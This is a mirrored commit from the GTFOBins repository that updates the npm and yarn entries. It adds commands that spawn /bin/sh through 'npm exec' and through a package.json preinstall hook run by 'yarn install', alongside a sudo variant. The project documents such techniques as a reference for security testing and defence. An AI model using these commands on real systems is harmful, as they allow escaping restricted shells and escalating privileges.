mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Update yarn and npm
This commit is contained in:
		@@ -1,6 +1,7 @@
 | 
			
		||||
---
 | 
			
		||||
functions:
 | 
			
		||||
  shell:
 | 
			
		||||
    - code: npm exec /bin/sh
 | 
			
		||||
    - code: |
 | 
			
		||||
        TF=$(mktemp -d)
 | 
			
		||||
        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
 | 
			
		||||
 
 | 
			
		||||
@@ -2,6 +2,10 @@
 | 
			
		||||
functions:
 | 
			
		||||
  shell:
 | 
			
		||||
    - code: yarn exec /bin/sh
 | 
			
		||||
    - code: |
 | 
			
		||||
        TF=$(mktemp -d)
 | 
			
		||||
        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
 | 
			
		||||
        yarn --cwd $TF install
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: sudo yarn exec /bin/sh
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user